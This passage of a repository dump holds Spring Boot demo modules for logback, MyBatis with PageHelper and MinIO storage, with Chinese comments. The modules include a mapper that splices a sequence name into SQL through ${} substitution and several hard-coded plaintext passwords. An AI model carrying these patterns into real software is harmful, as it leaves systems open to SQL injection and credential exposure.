class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<!--文件路径,定义了日志的切分方式——把每一天的日志归档到一个文件中,以防止日志填满整个磁盘空间-->\n\t\t\t<FileNamePattern>logs/springboot_logback/error.created_on_%d{yyyy-MM-dd}.part_%i.log</FileNamePattern>\n\t\t\t<!--只保留最近90天的日志-->\n\t\t\t<maxHistory>90</maxHistory>\n\t\t\t<timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n\t\t\t\t<!-- maxFileSize:这是活动文件的大小，默认值是10MB,本篇设置为1KB，只是为了演示 -->\n\t\t\t\t<maxFileSize>2MB</maxFileSize>\n\t\t\t</timeBasedFileNamingAndTriggeringPolicy>\n\t\t</rollingPolicy>\n\t\t<encoder>\n\t\t\t<pattern>${FILE_ERROR_PATTERN}</pattern>\n\t\t\t<charset>UTF-8</charset> <!-- 此处设置字符集 -->\n\t\t</encoder>\n\t</appender>\n\n\t<root level=\"info\">\n\t\t<appender-ref ref=\"CONSOLE\"/>\n\t\t<appender-ref ref=\"FILE_INFO\"/>\n\t\t<appender-ref ref=\"FILE_ERROR\"/>\n\t</root>\n</configuration>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_logback/src/test/java/com/jun/plugin/logback/SpringBootDemoLogbackApplicationTests.java",
    "content": "package com.jun.plugin.logback;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoLogbackApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_mapper_pagehelper</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.9.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.7</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t</dependency>\n\t\t\n\t\t<!--mybatis-->\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>1.3.1</version>\n\t\t</dependency>\n\t\t<!--通用mapper-->\n\t\t<dependency>\n\t\t\t<groupId>tk.mybatis</groupId>\n\t\t\t<artifactId>mapper-spring-boot-starter</artifactId>\n\t\t\t<version>1.1.5</version>\n\t\t</dependency>\n\t\t<!--pagehelper 分页插件-->\n\t\t<dependency>\n\t\t\t<groupId>com.github.pagehelper</groupId>\n\t\t\t<artifactId>pagehelper-spring-boot-starter</artifactId>\n\t\t\t<version>1.2.3</version>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t   <groupId>com.alibaba</groupId>\n\t\t   <artifactId>druid-spring-boot-starter</artifactId>\n\t\t   <version>1.1.6</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.oracle.database.jdbc</groupId>\n\t\t\t<artifactId>ojdbc5</artifactId>\n\t\t\t<version>11.2.0.4</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t\t\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.mybatis.generator</groupId>\n\t\t\t\t<artifactId>mybatis-generator-maven-plugin</artifactId>\n\t\t\t\t<version>1.3.5</version>\n\t\t\t\t<dependencies>\n\t\t\t\t\t<dependency>\n\t\t\t\t\t\t<groupId>com.oracle.database.jdbc</groupId>\n\t\t\t\t\t\t<artifactId>ojdbc5</artifactId>\n\t\t\t\t\t\t<version>11.2.0.4</version>\n\t\t\t\t\t</dependency>\n\t\t\t\t\t<dependency>\n\t\t\t\t\t\t<groupId>tk.mybatis</groupId>\n\t\t\t\t\t\t<artifactId>mapper</artifactId>\n\t\t\t\t\t\t<version>4.2.1</version>\n\t\t\t\t\t</dependency>\n\t\t\t\t</dependencies>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>Generate MyBatis Artifacts</id>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>generate</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t\t<configuration>\n\t\t\t\t\t<!--允许移动生成的文件 -->\n\t\t\t\t\t<verbose>true</verbose>\n\t\t\t\t\t<!-- 是否覆盖 -->\n\t\t\t\t\t<overwrite>true</overwrite>\n\t\t\t\t\t<!-- 自动生成的配置 -->\n\t\t\t\t\t<configurationFile>src/main/resources/mybatis-generator.xml</configurationFile>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/Application.java",
    "content": "package com.springboot;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n\n@SpringBootApplication\n@MapperScan(\"com.springboot.mapper\")\npublic class Application {\n\t\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(Application.class,args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/ApplicationTest.java",
    "content": "package com.springboot;\n\nimport java.util.Date;\nimport java.util.List;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\nimport com.github.pagehelper.PageHelper;\nimport com.github.pagehelper.PageInfo;\nimport com.springboot.bean.User;\nimport com.springboot.service.UserService;\n\nimport tk.mybatis.mapper.entity.Example;\n\n@RunWith(SpringJUnit4ClassRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class ApplicationTest {\n\n\t@Autowired\n\tprivate UserService userService;\n\n\t@Test\n\tpublic void test() throws Exception {\n\n\t\t// User user = new User();\n\t\t// user.setId(userService.getSequence(\"seq_user\"));\n\t\t// user.setUsername(\"scott\");\n\t\t// user.setPasswd(\"ac089b11709f9b9e9980e7c497268dfa\");\n\t\t// user.setCreateTime(new Date());\n\t\t// user.setStatus(\"0\");\n\t\t// this.userService.save(user);\n\n\t\t\n//\t\tExample example = new Example(User.class);\n//\t\texample.createCriteria().andCondition(\"username like '%i%'\");\n//\t\texample.setOrderByClause(\"id desc\");\n//\t\tList<User> userList = this.userService.selectByExample(example);\n//\t\tfor (User u : userList) {\n//\t\t\tSystem.out.println(u.getUsername());\n//\t\t}\n//\t\t\n//\t\tList<User> all = this.userService.selectAll();\n//\t\tfor (User u : all) {\n//\t\t\tSystem.out.println(u.getUsername());\n//\t\t}\n//\t\t\n//\t\tUser user = new User();\n//\t\tuser.setId(1l);\n//\t\tuser = this.userService.selectByKey(user);\n//\t\tSystem.out.println(user.getUsername());\n//\n//\t\tuser.setId(4l);\n//\t\tthis.userService.delete(user);\n\n\t\tPageHelper.startPage(2, 2);\n\t\tList<User> list = userService.selectAll();\n\t\tPageInfo<User> pageInfo = new PageInfo<User>(list);\n\t\tList<User> result = pageInfo.getList();\n\t\tfor (User u : result) {\n\t\t\tSystem.out.println(u.getUsername());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/bean/User.java",
    "content": "package com.springboot.bean;\n\nimport java.util.Date;\n\nimport javax.persistence.Column;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\n@Table(name = \"T_USER\")\npublic class User {\n    @Id\n    @Column(name = \"ID\")\n    private Long id;\n\n    @Column(name = \"USERNAME\")\n    private String username;\n\n    @Column(name = \"PASSWD\")\n    private String passwd;\n\n    @Column(name = \"CREATE_TIME\")\n    private Date createTime;\n\n    @Column(name = \"STATUS\")\n    private String status;\n\n    /**\n     * @return ID\n     */\n    public Long getId() {\n        return id;\n    }\n\n    /**\n     * @param id\n     */\n    public void setId(Long id) {\n        this.id = id;\n    }\n\n    /**\n     * @return USERNAME\n     */\n    public String getUsername() {\n        return username;\n    }\n\n    /**\n     * @param username\n     */\n    public void setUsername(String username) {\n        this.username = username == null ? null : username.trim();\n    }\n\n    /**\n     * @return PASSWD\n     */\n    public String getPasswd() {\n        return passwd;\n    }\n\n    /**\n     * @param passwd\n     */\n    public void setPasswd(String passwd) {\n        this.passwd = passwd == null ? null : passwd.trim();\n    }\n\n    /**\n     * @return CREATE_TIME\n     */\n    public Date getCreateTime() {\n        return createTime;\n    }\n\n    /**\n     * @param createTime\n     */\n    public void setCreateTime(Date createTime) {\n        this.createTime = createTime;\n    }\n\n    /**\n     * @return STATUS\n     */\n    public String getStatus() {\n        return status;\n    }\n\n    /**\n     * @param status\n     */\n    public void setStatus(String status) {\n        this.status = status == null ? null : status.trim();\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/config/MyMapper.java",
    "content": "package com.springboot.config;\n\nimport tk.mybatis.mapper.common.Mapper;\nimport tk.mybatis.mapper.common.MySqlMapper;\n\npublic interface MyMapper<T> extends Mapper<T>, MySqlMapper<T> {\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/mapper/SeqenceMapper.java",
    "content": "package com.springboot.mapper;\n\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Select;\n\npublic interface SeqenceMapper {\n\t@Select(\"select ${seqName}.nextval from dual\")\n\tLong getSequence(@Param(\"seqName\") String seqName);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/mapper/UserMapper.java",
    "content": "package com.springboot.mapper;\n\nimport com.springboot.bean.User;\nimport com.springboot.config.MyMapper;\n\npublic interface UserMapper extends MyMapper<User> {\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/service/IService.java",
    "content": "package com.springboot.service;\n\nimport java.util.List;\n\nimport org.apache.ibatis.annotations.Param;\nimport org.springframework.stereotype.Service;\n\n@Service\npublic interface IService<T> {\n\n\tLong getSequence(@Param(\"seqName\") String seqName);\n\t\n\tList<T> selectAll();\n\t\n    T selectByKey(Object key);\n\n    int save(T entity);\n\n    int delete(Object key);\n\n    int updateAll(T entity);\n\n    int updateNotNull(T entity);\n\n    List<T> selectByExample(Object example);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/service/UserService.java",
    "content": "package com.springboot.service;\n\nimport com.springboot.bean.User;\n\npublic interface UserService extends IService<User>{\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/service/impl/BaseService.java",
    "content": "package com.springboot.service.impl;\n\nimport java.util.List;\n\nimport org.apache.ibatis.annotations.Param;\nimport org.springframework.beans.factory.annotation.Autowired;\n\nimport com.springboot.mapper.SeqenceMapper;\nimport com.springboot.service.IService;\n\nimport tk.mybatis.mapper.common.Mapper;\n\npublic abstract class BaseService<T> implements IService<T> {\n\n    @Autowired\n    protected Mapper<T> mapper;\n    @Autowired\n    protected SeqenceMapper seqenceMapper;\n    \n    public Mapper<T> getMapper() {\n        return mapper;\n    }\n    @Override\n    public Long getSequence(@Param(\"seqName\") String seqName){\n    \treturn seqenceMapper.getSequence(seqName);\n    }\n    \n    @Override\n    public List<T> selectAll() {\n        //说明：查询所有数据\n        return mapper.selectAll();\n    }\n    \n    @Override\n    public T selectByKey(Object key) {\n        //说明：根据主键字段进行查询，方法参数必须包含完整的主键属性，查询条件使用等号\n        return mapper.selectByPrimaryKey(key);\n    }\n\n    @Override\n    public int save(T entity) {\n        //说明：保存一个实体，null的属性也会保存，不会使用数据库默认值\n        return mapper.insert(entity);\n    }\n\n    @Override\n    public int delete(Object key) {\n        //说明：根据主键字段进行删除，方法参数必须包含完整的主键属性\n        return mapper.deleteByPrimaryKey(key);\n    }\n\n    @Override\n    public int updateAll(T entity) {\n        //说明：根据主键更新实体全部字段，null值会被更新\n        return mapper.updateByPrimaryKey(entity);\n    }\n\n    @Override\n    public int updateNotNull(T entity) {\n        //根据主键更新属性不为null的值\n        return mapper.updateByPrimaryKeySelective(entity);\n    }\n\n    @Override\n    public List<T> selectByExample(Object example) {\n        //说明：根据Example条件进行查询\n        //重点：这个查询支持通过Example类指定查询列，通过selectProperties方法指定查询列\n        return mapper.selectByExample(example);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/java/com/springboot/service/impl/UserServiceImpl.java",
    "content": "package com.springboot.service.impl;\n\nimport org.springframework.stereotype.Repository;\n\nimport com.springboot.bean.User;\nimport com.springboot.service.UserService;\n\n@Repository(\"userService\")\npublic class UserServiceImpl extends BaseService<User> implements UserService{\n\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/resources/application.yml",
    "content": "server:\n  context-path: /web\n\nspring:\n  datasource:\n    druid:\n      # 数据库访问配置, 使用druid数据源\n      type: com.alibaba.druid.pool.DruidDataSource\n#      driver-class-name: oracle.jdbc.driver.OracleDriver\n#      url: jdbc:oracle:thin:@localhost:1521:ORCL\n#      username: scott\n#      password: 6742530\n      driver-class-name: com.mysql.jdbc.Driver\n      url: jdbc:mysql://localhost:3306/test666?useUnicode=true&characterEncoding=UTF-8&rewriteBatchedStatements=true&autoReconnect=true&failOverReadOnly=false&zeroDateTimeBehavior=convertToNull\n      username: root\n      password: \n      # 连接池配置\n      initial-size: 5\n      min-idle: 5\n      max-active: 20\n      # 连接等待超时时间\n      max-wait: 30000\n      # 配置检测可以关闭的空闲连接间隔时间\n      time-between-eviction-runs-millis: 60000\n      # 配置连接在池中的最小生存时间\n      min-evictable-idle-time-millis: 300000\n      validation-query: select '1' from dual\n      test-while-idle: true\n      test-on-borrow: false\n      test-on-return: false\n      # 打开PSCache，并且指定每个连接上PSCache的大小\n      pool-prepared-statements: true\n      max-open-prepared-statements: 20\n      max-pool-prepared-statement-per-connection-size: 20\n      # 配置监控统计拦截的filters, 去掉后监控界面sql无法统计, 'wall'用于防火墙\n      filters: stat,wall\n      # Spring监控AOP切入点，如x.y.z.service.*,配置多个英文逗号分隔\n      aop-patterns: com.springboot.servie.*\n      \n    \n      # WebStatFilter配置\n      web-stat-filter:\n        enabled: true\n        # 添加过滤规则\n        url-pattern: /*\n        # 忽略过滤的格式\n        exclusions: '*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*'\n      \n      # StatViewServlet配置 \n      stat-view-servlet:\n        enabled: true\n        # 访问路径为/druid时，跳转到StatViewServlet\n        url-pattern: /druid/*\n        # 是否能够重置数据\n        reset-enable: false\n        # 需要账号密码才能访问控制台\n        login-username: druid\n        login-password: druid123\n        # IP白名单\n        # allow: 127.0.0.1\n        #　IP黑名单（共同存在时，deny优先于allow）\n        # deny: 192.168.1.218\n      \n      # 配置StatFilter\n      filter: \n        stat: \n          log-slow-sql: true\n\nmybatis:\n  # type-aliases扫描路径\n  type-aliases-package: com.springboot.bean\n  # mapper xml实现扫描路径\n  mapper-locations: classpath:mapper/*.xml\n  property:\n    order: BEFORE\n\n\n#mappers 多个接口时逗号隔开\nmapper:\n  mappers: com.springboot.config.MyMapper\n  not-empty: false\n  identity: oracle\n\n#pagehelper\npagehelper: \n  helperDialect: oracle\n  reasonable: true\n  supportMethodsArguments: true\n  params: count=countSql\n\n    \nlogging:\n  level:\n    com:\n      springboot:\n        mapper: debug"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/resources/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.springboot.mapper.UserMapper\">\n  <resultMap id=\"BaseResultMap\" type=\"com.springboot.bean.model.User\">\n    <!--\n      WARNING - @mbg.generated\n    -->\n    <id column=\"ID\" jdbcType=\"DECIMAL\" property=\"id\" />\n    <result column=\"USERNAME\" jdbcType=\"VARCHAR\" property=\"username\" />\n    <result column=\"PASSWD\" jdbcType=\"VARCHAR\" property=\"passwd\" />\n    <result column=\"CREATE_TIME\" jdbcType=\"TIMESTAMP\" property=\"createTime\" />\n    <result column=\"STATUS\" jdbcType=\"CHAR\" property=\"status\" />\n  </resultMap>\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mapper_pagehelper/src/main/resources/mybatis-generator.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE generatorConfiguration\n        PUBLIC \"-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd\">\n<generatorConfiguration>\n\n    <context id=\"oracle\" targetRuntime=\"MyBatis3Simple\" defaultModelType=\"flat\">\n\n        <plugin type=\"tk.mybatis.mapper.generator.MapperPlugin\">\n            <property name=\"mappers\" value=\"com.springboot.config.MyMapper\" />\n            <!--caseSensitive默认false，当数据库表名区分大小写时，可以将该属性设置为true-->\n          <property name=\"caseSensitive\" value=\"false\"/>\n        </plugin>\n\n        <!-- 阻止生成自动注释 -->\n        <commentGenerator>\n            <property name=\"javaFileEncoding\" value=\"UTF-8\"/>\n            <property name=\"suppressDate\" value=\"true\"/>\n            <property name=\"suppressAllComments\" value=\"true\"/>\n        </commentGenerator>\n\n        <!--数据库链接地址账号密码-->\n        <jdbcConnection driverClass=\"oracle.jdbc.driver.OracleDriver\"\n                        connectionURL=\"jdbc:oracle:thin:@localhost:1521:ORCL\"\n                        userId=\"scott\"\n                        password=\"6742530\">\n        </jdbcConnection>\n\n        <javaTypeResolver>\n            <property name=\"forceBigDecimals\" value=\"false\"/>\n        </javaTypeResolver>\n\n        <!--生成Model类存放位置-->\n        <javaModelGenerator targetPackage=\"com.springboot.bean\" targetProject=\"src/main/java\">\n            <property name=\"enableSubPackages\" value=\"true\"/>\n            <property name=\"trimStrings\" value=\"true\"/>\n        </javaModelGenerator>\n\n        <!--生成映射文件存放位置-->\n        <sqlMapGenerator targetPackage=\"mapper\" targetProject=\"src/main/resources\">\n            <property name=\"enableSubPackages\" value=\"true\"/>\n        </sqlMapGenerator>\n\n        <!--生成Dao类存放位置-->\n        <!-- 客户端代码，生成易于使用的针对Model对象和XML配置文件 的代码\n                type=\"ANNOTATEDMAPPER\",生成Java Model 和基于注解的Mapper对象\n                type=\"XMLMAPPER\",生成SQLMap XML文件和独立的Mapper接口 -->\n       <javaClientGenerator type=\"XMLMAPPER\" targetPackage=\"com.springboot.mapper\" targetProject=\"src/main/java\">\n            <property name=\"enableSubPackages\" value=\"true\"/>\n       </javaClientGenerator>\n\n        <!--生成对应表及类名去掉Mybatis Generator生成的一堆 example-->\n        <table tableName=\"T_user\" domainObjectName=\"model.User\" enableCountByExample=\"false\" enableUpdateByExample=\"false\" enableDeleteByExample=\"false\" enableSelectByExample=\"false\" selectByExampleQueryId=\"false\">\n            <generatedKey column=\"id\" sqlStatement=\"oralce\" identity=\"true\"/>\n        </table>\n    </context>\n</generatorConfiguration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/.gitignore",
    "content": "HELP.md\ntarget/\n!.mvn/wrapper/maven-wrapper.jar\n!**/src/main/**\n!**/src/test/**\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n.sts4-cache\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\n/nbproject/private/\n/nbbuild/\n/dist/\n/nbdist/\n/.nb-gradle/\nbuild/\n\n### VS Code ###\n.vscode/\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_minio/README.md",
    "content": "### Linux 下安装MinIO\n\n```linux\n# 下载\nwget https://dl.min.io/server/minio/release/linux-amd64/minio\n\n# 赋权\nchmod +x minio\n\n# 设置用户名\nexport MINIO_ACCESS_KEY=minio\n\n# 设置密码\nexport MINIO_SECRET_KEY=miniopassword\n\n# 启动  /home/data是自己定义的文件目录，进入minio的下载目录\n./minio server /home/data\n\n# 静默启动 \nnohup ./minio server /home/data >/home/data/minio.log 2>&1 &\n\n```\n运行 ./minio server /home/data 看下一下画面即表示启动成功\n![在这里插入图片描述](https://images.gitee.com/uploads/images/2020/0728/142639_e43a38e9_1174059.png)\n\n访问 http://172.28.43.29:9000/minio/login接口看到页面\n![在这里插入图片描述](https://images.gitee.com/uploads/images/2020/0728/142639_fbe934fb_1174059.png)\n\n最喜欢的功能（临时访问），可分享最长7天的临时访问地址\n![在这里插入图片描述](https://images.gitee.com/uploads/images/2020/0728/142639_0ec76653_1174059.png)\n后面会慢慢研究，之后发一个整合SpringBoot的Demo\n\n具体整合细节见:https://blog.csdn.net/weixin_37264997/article/details/107631796\n\n\n# SpringBoot 集成MinIO\n## 引入jar包\n```xml\n  <dependency>\n  \t  <groupId>io.minio</groupId>\n      <artifactId>minio</artifactId>\n      <version>7.0.2</version>\n  </dependency>\n```\n## 配置\n```yml\nminio:\n  endpoint: 172.28.43.29\n  port: 9000\n  accessKey: minio\n  secretKey: miniopassword\n  secure: false\n  bucketName: \"hope-bucket\"\n  configDir: \"/home/data/\"\n```\n# \n\n```java\npackage com.hope.minio.config;\n\nimport io.minio.MinioClient;\nimport io.minio.errors.InvalidEndpointException;\nimport io.minio.errors.InvalidPortException;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport org.checkerframework.checker.units.qual.A;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.stereotype.Component;\n\n\n@Data\n@Component\n@ConfigurationProperties(prefix = \"minio\")\npublic class MinioConfig {\n\n    @ApiModelProperty(\"endPoint是一个URL，域名，IPv4或者IPv6地址\")\n    private String endpoint;\n\n    @ApiModelProperty(\"TCP/IP端口号\")\n    private int port;\n\n    @ApiModelProperty(\"accessKey类似于用户ID，用于唯一标识你的账户\")\n    private String accessKey;\n\n    @ApiModelProperty(\"secretKey是你账户的密码\")\n    private String secretKey;\n\n    @ApiModelProperty(\"如果是true，则用的是https而不是http,默认值是true\")\n    private Boolean secure;\n\n    @ApiModelProperty(\"默认存储桶\")\n    private String bucketName;\n\n    @ApiModelProperty(\"配置目录\")\n    private String configDir;\n\n    @Bean\n    public MinioClient getMinioClient() throws InvalidEndpointException, InvalidPortException {\n        MinioClient minioClient = new MinioClient(endpoint, port, accessKey, secretKey,secure);\n        return minioClient;\n    }\n}\n```\n\n```java\npackage com.hope.minio.utils;\n\nimport io.minio.MinioClient;\nimport io.minio.ObjectStat;\nimport io.minio.PutObjectOptions;\nimport io.minio.Result;\nimport io.minio.errors.ErrorResponseException;\nimport io.minio.errors.InvalidExpiresRangeException;\nimport io.minio.messages.Bucket;\nimport io.minio.messages.DeleteError;\nimport io.minio.messages.Item;\nimport lombok.SneakyThrows;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.InputStream;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @PackageName: com.hope.minio.utils\n * @ClassName: MinioUtil\n * @Author Hope\n * @Date 2020/7/27 11:43\n * @Description: TODO\n */\n@Component\npublic class MinioUtil {\n\n    @Autowired\n    private MinioClient minioClient;\n\n    private static final int DEFAULT_EXPIRY_TIME = 7 * 24 * 3600;\n\n    /**\n     * 检查存储桶是否存在\n     *\n     * @param bucketName 存储桶名称\n     * @return\n     */\n    @SneakyThrows\n    public boolean bucketExists(String bucketName) {\n        boolean flag = false;\n        flag = minioClient.bucketExists(bucketName);\n        if (flag) {\n            return true;\n        }\n        return false;\n    }\n\n    /**\n     * 创建存储桶\n     *\n     * @param bucketName 存储桶名称\n     */\n    @SneakyThrows\n    public boolean makeBucket(String bucketName) {\n        boolean flag = bucketExists(bucketName);\n        if (!flag) {\n            minioClient.makeBucket(bucketName);\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * 列出所有存储桶名称\n     *\n     * @return\n     */\n    @SneakyThrows\n    public List<String> listBucketNames() {\n        List<Bucket> bucketList = listBuckets();\n        List<String> bucketListName = new ArrayList<>();\n        for (Bucket bucket : bucketList) {\n            bucketListName.add(bucket.name());\n        }\n        return bucketListName;\n    }\n\n    /**\n     * 列出所有存储桶\n     *\n     * @return\n     */\n    @SneakyThrows\n    public List<Bucket> listBuckets() {\n        return minioClient.listBuckets();\n    }\n\n    /**\n     * 删除存储桶\n     *\n     * @param bucketName 存储桶名称\n     * @return\n     */\n    @SneakyThrows\n    public boolean removeBucket(String bucketName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            Iterable<Result<Item>> myObjects = listObjects(bucketName);\n            for (Result<Item> result : myObjects) {\n                Item item = result.get();\n                // 有对象文件，则删除失败\n                if (item.size() > 0) {\n                    return false;\n                }\n            }\n            // 删除存储桶，注意，只有存储桶为空时才能删除成功。\n            minioClient.removeBucket(bucketName);\n            flag = bucketExists(bucketName);\n            if (!flag) {\n                return true;\n            }\n\n        }\n        return false;\n    }\n\n    /**\n     * 列出存储桶中的所有对象名称\n     *\n     * @param bucketName 存储桶名称\n     * @return\n     */\n    @SneakyThrows\n    public List<String> listObjectNames(String bucketName) {\n        List<String> listObjectNames = new ArrayList<>();\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            Iterable<Result<Item>> myObjects = listObjects(bucketName);\n            for (Result<Item> result : myObjects) {\n                Item item = result.get();\n                listObjectNames.add(item.objectName());\n            }\n        }\n        return listObjectNames;\n    }\n\n    /**\n     * 列出存储桶中的所有对象\n     *\n     * @param bucketName 存储桶名称\n     * @return\n     */\n    @SneakyThrows\n    public Iterable<Result<Item>> listObjects(String bucketName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            return minioClient.listObjects(bucketName);\n        }\n        return null;\n    }\n\n    /**\n     * 通过文件上传到对象\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param fileName   File name\n     * @return\n     */\n    @SneakyThrows\n    public boolean putObject(String bucketName, String objectName, String fileName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            minioClient.putObject(bucketName, objectName, fileName, null);\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                return true;\n            }\n        }\n        return false;\n\n    }\n\n    /**\n     * 文件上传\n     *\n     * @param bucketName\n     * @param multipartFile\n     */\n    @SneakyThrows\n    public void putObject(String bucketName, MultipartFile multipartFile, String filename) {\n        PutObjectOptions putObjectOptions = new PutObjectOptions(multipartFile.getSize(), PutObjectOptions.MIN_MULTIPART_SIZE);\n        putObjectOptions.setContentType(multipartFile.getContentType());\n        minioClient.putObject(bucketName, filename, multipartFile.getInputStream(), putObjectOptions);\n    }\n\n    /**\n     * 通过InputStream上传对象\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @param stream     要上传的流\n     * @return\n     */\n    @SneakyThrows\n    public boolean putObject(String bucketName, String objectName, InputStream stream) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            minioClient.putObject(bucketName, objectName, stream, new PutObjectOptions(stream.available(), -1));\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * 以流的形式获取一个文件对象\n     *\n     * @param bucketName 存储桶名称\n     * @param objectName 存储桶里的对象名称\n     * @return\n     */\n    @SneakyThrows\n    public InputStream getObject(String bucketName, String objectName) {\n        boolean flag = bucketExists(bucketName);\n        if (flag) {\n            ObjectStat statObject = statObject(bucketName, objectName);\n            if (statObject != null && statObject.length() > 0) {\n                InputStream stream = minioClient.getObject(bucketName, objectName);\n                return stream;\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 